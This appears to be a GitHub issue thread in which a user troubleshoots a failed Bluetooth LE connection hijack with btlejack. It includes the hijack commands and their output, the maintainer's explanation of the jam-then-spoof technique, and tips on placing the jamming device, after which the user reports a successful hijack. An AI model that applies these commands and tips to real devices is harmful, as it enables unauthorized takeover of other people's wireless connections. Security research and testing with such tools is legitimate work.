Whats the reason for a "Hijacking failed"?

[whoot]

Hey, I´m having an issue where btlejack cant hijack an bluetooth LE connection:

btlejack -f 0xaf9a9cde -t -m 0x1bff001fff -p 39

BtleJack version 2.0

[i] Detected sniffers:
 > Sniffer #0: fw version 3.14
 > Sniffer #1: fw version 3.14
 > Sniffer #2: fw version 3.14

[i] Synchronizing with connection 0xaf9a9cde ...
✓ CRCInit = 0x48ef4a
✓ Channel map is provided: 0x1bff001fff
✓ Hop interval = 39
✓ Hop increment = 8
[i] Synchronized, hijacking in progress ...
[!] Hijack failed.

And im not sure if the issue is myself or the connection or btlejack. Can you explain why Hijacking does not work or what the issue could be?

EDIT: capturing the traffic works as expected with the same CRCInit, Channel Map, Hop interval and Hop increment values.

[virtualabs]

Well, I'm currently thinking about two possible reasons:

• the channel map may have changed: channel map updates are not supported (yet) while jamming a connection
• low supervision timeout: detecting a successfully jammed connection takes some time as btlejack waits for no packets sent by the master device, but if latency is low then this master device may consider the connection lost before btlejack does the same and start sending packets to keep the connection alive.

[whoot]

Well, I'm currently thinking about two possible reasons:

* the channel map may have changed: channel map updates are not supported (yet) while jamming a connection

I can rule that out, because sniffing the traffic after failing to hijack the session still works with the same parameters.

* low supervision timeout: detecting a successfully jammed connection takes some time as btlejack waits for no packets sent by the master device, but if latency is low then this master device may consider the connection lost before btlejack does the same and start sending packets to keep the connection alive.

Ok so basically the master needs to stop sending packages to the slave to make this attack work?

[virtualabs]

I can rule that out, because sniffing the traffic after failing to hijack the session still works with the same parameters.

Allright, that means btlejack did not managed to jam this connection. A few ideas to improve the attack:

• Place your Micro:Bit close to your master device (e.g. your smartphone) as it has more chance to jam your slave packets
• Obviously, keep your slave device away but still in range

Ok so basically the master needs to stop sending packages to the slave to make this attack work?

This attack is based on jamming: btlejack jams every packet sent by the slave to the master (once it is synchronized), detects when the master considers the connection lost (no more packets from the master) and spoofs the master.

[whoot]

Placing the Mirco:Bit closer to the master device worked! However, I cant get any results:

btlejack -f 0x17242e08 -t -m 1fffffffff --hop-interval 40
BtleJack version 2.0

[i] Using cached parameters (created on 2019-10-28 12:43:04)
[i] Detected sniffers:
 > Sniffer #0: fw version 2.0
 > Sniffer #1: fw version 2.0
 > Sniffer #2: fw version 2.0

[i] Synchronizing with connection 0x17242e08 ...
✓ CRCInit: 0xd2545f
✓ Channel map is provided: 0x1fffffffff
✓ Hop interval = 40
✓ Hop increment = 8
[i] Synchronized, hijacking in progress ...
[i] Connection successfully hijacked, it is all yours \o/
btlejack> discover
btlejack>

[virtualabs]

See #64, I've just answered this question in details.